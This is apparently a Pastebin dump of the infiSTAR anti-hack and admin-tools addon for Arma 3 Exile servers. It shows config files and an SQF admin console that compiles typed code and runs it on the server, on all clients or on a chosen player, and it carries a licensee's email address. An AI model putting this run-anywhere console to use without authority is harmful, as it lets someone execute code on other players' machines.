Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- sreV prefix a3_infiSTAR_Exile config.cpp M HH|WM CUSTOM_FUNCTIONS.hpp Î HH|WÎ debug.sqf H[ HH|WH[ EXILE_AH.sqf €Q HH|W€Q EXILE_AHAT_CONFIG.hpp åz }Wåz EXILE_AT.sqf ö HH|Wö fn_preInit.sqf )R HH|W)R PboPrefix.txt HH|W /*
- Author: Chris(tian) "infiSTAR" Lorenzen
- Contact: infiSTAR23@gmail.com // www.infiSTAR.de
- Copyright infiSTAR - 2011 - 2016. All rights reserved.
- Christian (Chris) L. (infiSTAR23@gmail.com) Developer of infiSTAR
- */
- #include "EXILE_AHAT_CONFIG.hpp"
- class CfgPatches
- {
- class a3_infiSTAR_Exile
- {
- requiredVersion = 0.2666;
- requiredAddons[] = {};
- units[] = {};
- weapons[] = {};
- magazines[] = {};
- ammo[] = {};
- author[]= {"Chris(tian) 'infiSTAR' Lorenzen"};
- website[]= {"https://infiSTAR.de"};
- contact[]= {"admin@infiSTAR.de","infiSTAR23@gmail.com"};
- version = v0054;
- licensed = "bullred1989@gmail.com";
- };
- };
- class CfgFunctions
- {
- class a3_infiSTAR_Exile
- {
- class main
- {
- file = "a3_infiSTAR_Exile";l
- class preInit { preInit = 1; };
- };
- };
- };
- #include "CUSTOM_FUNCTIONS.hpp"/*
- Author: Chris(tian) "infiSTAR" Lorenzen
- Contact: infiSTAR23@gmail.com // www.infiSTAR.de
- Copyright infiSTAR - 2011 - 2016. All rights reserved.
- Christian (Chris) L. (infiSTAR23@gmail.com) Developer of infiSTAR
- Description:
- Arma AntiHack & AdminTools - infiSTAR.de
- READ:
- type 0 = just execute
- type 1 = toggleable function
- type 2 = function targets the selected player (it will be _this)
- name = name shown in the admin menu (this is also what has to be put in the EXILE_AHAT_CONFIG.sqf as Admin Power!)
- code = code to execute - if you have a linebreak within the code, you need to put a \ at the end of each line!
- */
- class CfgCustomFunctions {
- class custom1 {
- type = 0; // just execute
- name = "custom1: type = 0";
- code = "systemChat 'custom1';";
- };
- class custom2 {
- type = 1; // toggle on/off
- name = "custom2: type = 1";
- code = "if(isNil'custom2toggled')then{systemChat 'custom2 toggled on';custom2toggled=true;}else{systemChat 'custom2 toggled off';custom2toggled=nil;};";
- };
- class custom3 {
- type = 2; // targets selected player (_this)
- name = "custom3: type = 2";
- code = "systemChat format['custom3 -> selected player: %1',name _this];";
- };
- class custom4 {
- type = 2; // targets selected player (_this)
- name = "custom4: type = 2";
- code = "[_this] call fnc_TP2ME;";
- };
- class custom5 {
- type = 0; // just execute
- name = "custom5: type = 0";
- code = "systemChat 'custom5';";
- };
- };fnc_admin_c = compileFinal 'compile _this';
- fnc_admin_cc = compileFinal 'call compile _this';
- fnc_createctrl = {
- params['_display','_type','_idc'];
- ctrlDelete (_display displayCtrl _idc);
- _ctrl = _display ctrlCreate[_type, _idc];
- _ctrl
- };
- fnc_setPNS = compileFinal '
- profileNameSpace setVariable _this;saveProfileNamespace;
- ';
- fnc_getPNS = compileFinal '
- profileNameSpace getVariable _this
- ';
- fnc_lbDebugChanged = {
- disableSerialization;
- _ctrl = _this select 0;
- _index = _this select 1;
- ((findDisplay -1341) displayCtrl 1) ctrlSetText (['infiSTAR_SAVED_FUNCTIONS',[]] call fnc_getPNS select _index);
- };
- fnc_fillDebugListBox = {
- _listbox = (findDisplay -1341) displayCtrl 1384;
- _listbox ctrlRemoveAllEventHandlers 'LBDblClick';
- _listbox ctrlRemoveAllEventHandlers 'LBSelChanged';
- _listbox ctrlAddEventHandler ['LBDblClick', 'call fnc_lbDebugChanged;call fnc_debug_loadbtn;true'];
- _listbox ctrlAddEventHandler ['LBSelChanged', 'call fnc_lbDebugChanged;true'];
- lbClear _listbox;
- _var = ['infiSTAR_SAVED_FUNCTIONS',[]] call fnc_getPNS;
- if!(_var isEqualTo [])then
- {
- {
- _lbid = _listbox lbAdd _x;
- } forEach _var;
- };
- };
- already_run_array = [];
- last_selected_run_id = 0;
- fnc_getMainText = {
- private _txt = ctrlText((findDisplay -1341) displayCtrl 1339);
- already_run_array = already_run_array - [_txt];
- last_selected_run_id = already_run_array pushBack _txt;
- _txt
- };
- fnc_debug_loadbtn = {
- _var = ['infiSTAR_SAVED_FUNCTIONS',[]] call fnc_getPNS;
- _varname = lbtext[1384,(lbCurSel 1384)];
- if(_varname isEqualTo '')then
- {
- systemChat 'You need to select a function to load it..!';
- }
- else
- {
- _index = _var find _varname;
- _varvalue = [format['infiSTAR_SAVED_FUNCTION_%1',_varname],''] call fnc_getPNS;
- ((findDisplay -1341) displayCtrl 1339) ctrlSetText _varvalue;
- systemChat format['Loaded: %1',_varname];
- call fnc_fillDebugListBox;
- };
- true
- };
- fnc_workplace = {
- _admin = !isNil'MAIN_DISPLAY_ID';
- disableSerialization;
- if(isNull findDisplay -1341)then{createdialog 'infiSTAR_EDITBOX2';'AdminConsole' call fnc_adminLog;};
- _display = findDisplay -1341;
- _buttonheight = 0.05;
- _wfposY = safeZoneY + 0.01;
- _wf1 = _display displayCtrl 1380;
- _wf1 ctrlSetPosition [0,_wfposY,1,_buttonheight];
- _wf1 ctrlCommit 0;
- _wf1cb = [_display,'RscCheckBox',1360] call fnc_createctrl;
- _wf1cb cbSetChecked (['cbChecked__wf1',false] call fnc_getPNS);
- _wf1cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
- _wf1cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf1'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
- _wf1cb ctrlSetTooltip 'ALWAYS SHOW';
- _wf1cb ctrlCommit 0;
- _wf1cb1 = [_display,'RSCButton',1461] call fnc_createctrl;
- _wf1cb1 ctrlSetText 'copy';
- _wf1cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
- _wf1cb1 ctrlCommit 0;
- _wf1cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1362);true'];
- _wf1cb2 = [_display,'RSCButton',1361] call fnc_createctrl;
- _wf1cb2 ctrlSetText 'clear';
- _wf1cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
- _wf1cb2 ctrlCommit 0;
- _wf1cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1380) ctrlSetText '''';[''wf1tTCT'',''''] call fnc_setPNS;true'];
- if(!isNil'wf1T')then{terminate wf1T;wf1T=nil;};
- wf1T = [0,_wfposY+0.045,1,_buttonheight] spawn {
- disableSerialization;
- _oldText = ['wf1tTCT',''] call fnc_getPNS;
- _display = findDisplay -1341;
- _wf1 = _display displayCtrl 1380;
- _wf1 ctrlSetText _oldText;
- _wf1t = [findDisplay 46,'RSCText',1362] call fnc_createctrl;
- _wf1t ctrlSetPosition _this;
- _wf1t ctrlCommit 0;
- while {true} do
- {
- if((isNull _wf1) && !(['cbChecked__wf1',false] call fnc_getPNS))exitWith{_wf1t ctrlSetText '';};
- _oldText = ['wf1tTCT',''] call fnc_getPNS;
- if(!isNull _wf1)then
- {
- _ctrltext = ctrlText _wf1;
- if(_ctrltext isEqualTo '')then
- {
- _wf1t ctrlSetText '';
- }
- else
- {
- if!(_ctrltext isEqualTo _oldText)then
- {
- ['wf1tTCT',_ctrltext] call fnc_setPNS;
- };
- };
- };
- if!(_oldText isEqualTo '')then
- {
- _wf1t ctrlSetText str(_oldText call fnc_admin_cc);
- };
- uiSleep 0.1;
- };
- };
- _wfposY = _wfposY + 0.1;
- _wf2 = _display displayCtrl 1381;
- _wf2 ctrlSetPosition [0,_wfposY,1,_buttonheight];
- _wf2 ctrlCommit 0;
- _wf2cb = [_display,'RscCheckBox',1260] call fnc_createctrl;
- _wf2cb cbSetChecked (['cbChecked__wf2',false] call fnc_getPNS);
- _wf2cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
- _wf2cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf2'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
- _wf2cb ctrlSetTooltip 'ALWAYS SHOW';
- _wf2cb ctrlCommit 0;
- _wf2cb1 = [_display,'RSCButton',1561] call fnc_createctrl;
- _wf2cb1 ctrlSetText 'copy';
- _wf2cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
- _wf2cb1 ctrlCommit 0;
- _wf2cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1262);true'];
- _wf2cb2 = [_display,'RSCButton',1261] call fnc_createctrl;
- _wf2cb2 ctrlSetText 'clear';
- _wf2cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
- _wf2cb2 ctrlCommit 0;
- _wf2cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1381) ctrlSetText '''';[''wf2tTCT'',''''] call fnc_setPNS;true'];
- if(!isNil'wf2T')then{terminate wf2T;wf2T=nil;};
- wf2T = [0,_wfposY+0.045,1,_buttonheight] spawn {
- disableSerialization;
- _oldText = ['wf2tTCT',''] call fnc_getPNS;
- _display = findDisplay -1341;
- _wf2 = _display displayCtrl 1381;
- _wf2 ctrlSetText _oldText;
- _wf2t = [findDisplay 46,'RSCText',1262] call fnc_createctrl;
- _wf2t ctrlSetPosition _this;
- _wf2t ctrlCommit 0;
- while {true} do
- {
- if((isNull _wf2) && !(['cbChecked__wf2',false] call fnc_getPNS))exitWith{_wf2t ctrlSetText '';};
- _oldText = ['wf2tTCT',''] call fnc_getPNS;
- if(!isNull _wf2)then
- {
- _ctrltext = ctrlText _wf2;
- if(_ctrltext isEqualTo '')then
- {
- _wf2t ctrlSetText '';
- }
- else
- {
- if!(_ctrltext isEqualTo _oldText)then
- {
- ['wf2tTCT',_ctrltext] call fnc_setPNS;
- };
- };
- };
- if!(_oldText isEqualTo '')then
- {
- _wf2t ctrlSetText str(_oldText call fnc_admin_cc);
- };
- uiSleep 0.1;
- };
- };
- _wfposY = _wfposY + 0.1;
- _wf3 = _display displayCtrl 1382;
- _wf3 ctrlSetPosition [0,_wfposY,1,_buttonheight];
- _wf3 ctrlCommit 0;
- _wf3cb = [_display,'RscCheckBox',1160] call fnc_createctrl;
- _wf3cb cbSetChecked (['cbChecked__wf3',false] call fnc_getPNS);
- _wf3cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
- _wf3cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf3'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
- _wf3cb ctrlSetTooltip 'ALWAYS SHOW';
- _wf3cb ctrlCommit 0;
- _wf3cb1 = [_display,'RSCButton',1661] call fnc_createctrl;
- _wf3cb1 ctrlSetText 'copy';
- _wf3cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
- _wf3cb1 ctrlCommit 0;
- _wf3cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1162);true'];
- _wf3cb2 = [_display,'RSCButton',1161] call fnc_createctrl;
- _wf3cb2 ctrlSetText 'clear';
- _wf3cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
- _wf3cb2 ctrlCommit 0;
- _wf3cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1382) ctrlSetText '''';[''wf3tTCT'',''''] call fnc_setPNS;true'];
- if(!isNil'wf3T')then{terminate wf3T;wf3T=nil;};
- wf3T = [0,_wfposY+0.045,1,_buttonheight] spawn {
- disableSerialization;
- _oldText = ['wf3tTCT',''] call fnc_getPNS;
- _display = findDisplay -1341;
- _wf3 = _display displayCtrl 1382;
- _wf3 ctrlSetText _oldText;
- _wf3t = [findDisplay 46,'RSCText',1162] call fnc_createctrl;
- _wf3t ctrlSetPosition _this;
- _wf3t ctrlCommit 0;
- while {true} do
- {
- if((isNull _wf3) && !(['cbChecked__wf3',false] call fnc_getPNS))exitWith{_wf3t ctrlSetText '';};
- _oldText = ['wf3tTCT',''] call fnc_getPNS;
- if(!isNull _wf3)then
- {
- _ctrltext = ctrlText _wf3;
- if(_ctrltext isEqualTo '')then
- {
- _wf3t ctrlSetText '';
- }
- else
- {
- if!(_ctrltext isEqualTo _oldText)then
- {
- ['wf3tTCT',_ctrltext] call fnc_setPNS;
- };
- };
- };
- if!(_oldText isEqualTo '')then
- {
- _wf3t ctrlSetText str(_oldText call fnc_admin_cc);
- };
- uiSleep 0.1;
- };
- };
- _wfposY = _wfposY + 0.1;
- _wf4 = _display displayCtrl 1383;
- _wf4 ctrlSetPosition [0,_wfposY,1,_buttonheight];
- _wf4 ctrlCommit 0;
- _wf4cb = [_display,'RscCheckBox',1060] call fnc_createctrl;
- _wf4cb cbSetChecked (['cbChecked__wf4',false] call fnc_getPNS);
- _wf4cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
- _wf4cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf4'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
- _wf4cb ctrlSetTooltip 'ALWAYS SHOW';
- _wf4cb ctrlCommit 0;
- _wf4cb1 = [_display,'RSCButton',1761] call fnc_createctrl;
- _wf4cb1 ctrlSetText 'copy';
- _wf4cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
- _wf4cb1 ctrlCommit 0;
- _wf4cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1062);true'];
- _wf4cb2 = [_display,'RSCButton',1061] call fnc_createctrl;
- _wf4cb2 ctrlSetText 'clear';
- _wf4cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
- _wf4cb2 ctrlCommit 0;
- _wf4cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1383) ctrlSetText '''';[''wf4tTCT'',''''] call fnc_setPNS;true'];
- if(!isNil'wf4T')then{terminate wf4T;wf4T=nil;};
- wf4T = [0,_wfposY+0.045,1,_buttonheight] spawn {
- disableSerialization;
- _oldText = ['wf4tTCT',''] call fnc_getPNS;
- _display = findDisplay -1341;
- _wf4 = _display displayCtrl 1383;
- _wf4 ctrlSetText _oldText;
- _wf4t = [findDisplay 46,'RSCText',1062] call fnc_createctrl;
- _wf4t ctrlSetPosition _this;
- _wf4t ctrlCommit 0;
- while {true} do
- {
- if((isNull _wf4) && !(['cbChecked__wf4',false] call fnc_getPNS))exitWith{_wf4t ctrlSetText '';};
- _oldText = ['wf4tTCT',''] call fnc_getPNS;
- if(!isNull _wf4)then
- {
- _ctrltext = ctrlText _wf4;
- if(_ctrltext isEqualTo '')then
- {
- _wf4t ctrlSetText '';
- }
- else
- {
- if!(_ctrltext isEqualTo _oldText)then
- {
- ['wf4tTCT',_ctrltext] call fnc_setPNS;
- };
- };
- };
- if!(_oldText isEqualTo '')then
- {
- _wf4t ctrlSetText str(_oldText call fnc_admin_cc);
- };
- uiSleep 0.1;
- };
- };
- _ctrl = [_display,'RSCEdit',7564982345] call fnc_createctrl;
- _ctrl ctrlSetPosition [0,_wfposY + 0.245,1,_buttonheight];
- _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _ctrl = _display displayCtrl 1339;
- _startYpos = safeZoneY + 0.61;
- _ctrl ctrlSetPosition [0,_startYpos,1,1];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetText (['workplacemainwindow',''] call fnc_getPNS);
- if(!isNil'workplacemainwindowT')then{terminate workplacemainwindowT;workplacemainwindowT=nil;};
- workplacemainwindowT = [] spawn {
- disableSerialization;
- while{true}do
- {
- _ctrl = (findDisplay -1341) displayCtrl 1339;
- if(isNull _ctrl)exitWith{workplacemainwindowT=nil;};
- _ctext = ctrlText _ctrl;
- _vtext = ['workplacemainwindow',''] call fnc_getPNS;
- if!(_ctext isEqualTo _vtext)then
- {
- ['workplacemainwindow',_ctext] call fnc_setPNS;
- };
- uiSleep 0.1;
- };
- };
- _ctrlid = 7338;
- if(_admin)then{
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'GLOBAL';
- _ctrl ctrlSetPosition [0,_startYpos + 1,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','[call fnc_getMainText] call admin_d0;systemChat ''<infiSTAR.de> RAN CODE ON: GLOBAL (SERVER AND ALL CLIENTS)'';true'];
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'ALL BUT SERVER';
- _ctrl ctrlSetPosition [0,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','[''if(!isServer)then{''+(call fnc_getMainText)+''};''] call admin_d0;systemChat ''<infiSTAR.de> RAN CODE ON: ALL BUT SERVER'';true'];
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'SERVER';
- _ctrl ctrlSetPosition [0.25,_startYpos + 1,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','[call fnc_getMainText] call admin_d0_server;systemChat ''<infiSTAR.de> RAN CODE ON: SERVER'';true'];
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'SELECTED (ORANGE) TARGET';
- _ctrl ctrlSetPosition [0.25,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','if(isPlayer SELECTED_TARGET_PLAYER)then{[call fnc_getMainText,SELECTED_TARGET_PLAYER] call admin_d0_target;systemChat format[''<infiSTAR.de> RAN CODE ON: %1'',name SELECTED_TARGET_PLAYER];};true'];
- };
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'LOCAL';
- _ctrl ctrlSetPosition [0.5,_startYpos + 1,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','(call fnc_getMainText) call fnc_admin_cc;systemChat ''<infiSTAR.de> RAN CODE ON: LOCAL'';true'];
- if(_admin)then{
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'CAMERAON';
- _ctrl ctrlSetPosition [0.5,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','if(!isNull cameraOn)then{[call fnc_getMainText,cameraOn] call admin_d0_target;systemChat format[''<infiSTAR.de> RAN CODE ON: %1'',name cameraOn];};true'];
- };
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'NEXT';
- _ctrl ctrlSetPosition [0.75,_startYpos + 1,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','
- _max = ((count already_run_array)-1) max 0;
- _new = last_selected_run_id + 1;
- if(_new <= _max)then
- {
- last_selected_run_id = _new;
- _txt = already_run_array select last_selected_run_id;
- ((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;
- };
- systemChat format[''<infiSTAR.de console> %1 / %2'',last_selected_run_id,_max];
- true
- '];
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'LAST';
- _ctrl ctrlSetPosition [0.75,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','
- _max = ((count already_run_array)-1) max 0;
- _new = last_selected_run_id - 1;
- if(_new >= 0)then
- {
- last_selected_run_id = _new;
- _txt = already_run_array select last_selected_run_id;
- ((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;
- };
- systemChat format[''<infiSTAR.de console> %1 / %2'',last_selected_run_id,_max];
- true
- '];
- _buttonYpos = _startYpos;
- _ctrlid = _ctrlid + 1;
- if(_admin)then{
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'ALL ITEMS';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1339) ctrlSetText str ALLC_ITEMS;true'];
- };
- _buttonYpos = _buttonYpos + _buttonheight;
- _ctrlid = _ctrlid + 1;
- if(_admin)then{
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'ALL VEHICLES';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','_txt = str ALL_VEHS_TO_SEARCH_C;((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
- };
- _buttonYpos = _buttonYpos + _buttonheight + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'CURSORTARGET';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','_txt = typeOf cursorTarget;((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
- _buttonYpos = _buttonYpos + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'VEHICLE PLAYER';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','_txt = typeOf vehicle player;((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
- _buttonYpos = _buttonYpos + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'GETPOS';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','_txt = str(getPos player);((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
- _buttonYpos = _buttonYpos + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'GETPOSATL';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','_txt = str(getPosATL player);((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
- _buttonYpos = _buttonYpos + _buttonheight + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCEdit',_ctrlid] call fnc_createctrl;
- _oldTxt = ['infiSTAR_show_function_000',''] call fnc_getPNS;
- if(_oldTxt isEqualTo '')then{_oldTxt = '{diag_activeSQFScripts}';};
- _ctrl ctrlSetText _oldTxt;
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _buttonYpos = _buttonYpos + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'RETURN FUNCTION VALUE';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','
- disableSerialization;
- _display = findDisplay -1341;
- _ctrl = _display displayCtrl 1339;
- _ctrltext = ctrlText(_display displayCtrl '+str (_ctrlid - 1)+');
- [''infiSTAR_show_function_000'',_ctrltext] call fnc_setPNS;
- _var = missionNameSpace getVariable [_ctrltext,''''];
- if(typeName _var isEqualTo ''CODE'')exitWith
- {
- _txt = str([] call _var);
- if(_txt isEqualTo '''')then{_txt = ''nothing to return'';};
- _ctrl ctrlSetText _txt;
- diag_log _txt;
- true
- };
- _function = _ctrltext call fnc_admin_cc;
- _txt = '''';
- if(typeName _function isEqualTo ''CODE'')then
- {
- _txt = str([] call _function);
- if(_txt isEqualTo '''')then{_txt = ''nothing to return'';};
- }
- else
- {
- _txt = ''not a function.. (a function is something within curly brackets)'';
- };
- _ctrl ctrlSetText _txt;
- diag_log _txt;
- true
- '];
- _buttonYpos = _buttonYpos + _buttonheight + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCEdit',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText (['infiSTAR_show_variable_000','READ FROM VARIABLE'] call fnc_getPNS);
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _buttonYpos = _buttonYpos + _buttonheight;
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'READ FROM VARIABLE';
- _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','
- disableSerialization;
- _display = findDisplay -1341;
- _ctrl = _display displayCtrl 1339;
- _ctrltext = ctrlText(_display displayCtrl '+str (_ctrlid - 1)+');
- [''infiSTAR_show_variable_000'',_ctrltext] call fnc_setPNS;
- _var = missionNameSpace getVariable [_ctrltext,''''];
- _txt = str _var;
- _ctrl ctrlSetText _txt;
- diag_log _txt;
- true
- '];
- if(_admin)then{
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'Debug Console';
- _ctrl ctrlSetPosition [1,_startYpos + 0.7,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','[] spawn fnc_RscDisplayDebugPublic;true'];
- };
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'CLEAR';
- _ctrl ctrlSetPosition [1,_startYpos + 0.85,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1339) ctrlSetText '''';[''workplacemainwindow'',''''] call fnc_setPNS;true'];
- _ctrlid = _ctrlid + 1;
- _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
- _ctrl ctrlSetText 'CLOSE';
- _ctrl ctrlSetPosition [1,_startYpos + 0.95,0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','closeDialog 0;true'];
- _ctrl = [_display,'RSCEdit',1] call fnc_createctrl;
- _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*2),0.25,_buttonheight];
- _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCButton',2] call fnc_createctrl;
- _ctrl ctrlSetText 'Save';
- _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*3),0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','
- _varname = ctrlText((findDisplay -1341) displayCtrl 1);
- if(_varname isEqualTo '''')then
- {
- systemChat ''You need to write a name to save this function..!'';
- }
- else
- {
- _var = [''infiSTAR_SAVED_FUNCTIONS'',[]] call fnc_getPNS;
- _index = _var pushBackUnique _varname;
- [''infiSTAR_SAVED_FUNCTIONS'',_var] call fnc_setPNS;
- [format[''infiSTAR_SAVED_FUNCTION_%1'',_varname],call fnc_getMainText] call fnc_setPNS;
- systemChat format[''Saved: %1'',_varname];
- call fnc_fillDebugListBox;
- };
- true
- '];
- _ctrl = [_display,'RSCButton',3] call fnc_createctrl;
- _ctrl ctrlSetText 'Load';
- _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*4),0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','_this call fnc_debug_loadbtn'];
- _ctrl = [_display,'RSCButton',4] call fnc_createctrl;
- _ctrl ctrlSetText 'Delete';
- _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*5),0.25,_buttonheight];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','
- _var = [''infiSTAR_SAVED_FUNCTIONS'',[]] call fnc_getPNS;
- _varname = lbtext[1384,(lbCurSel 1384)];
- if(_varname isEqualTo '''')then
- {
- systemChat ''You need to select a function to delete..!'';
- }
- else
- {
- if(isNil''last_delete_call'')then
- {
- last_delete_call = _varname;
- systemChat format[''Please click again to delete: %1'',_varname];
- }
- else
- {
- if(last_delete_call isEqualTo _varname)then
- {
- _index = _var find _varname;
- _var deleteAt _index;
- [''infiSTAR_SAVED_FUNCTIONS'',_var] call fnc_setPNS;
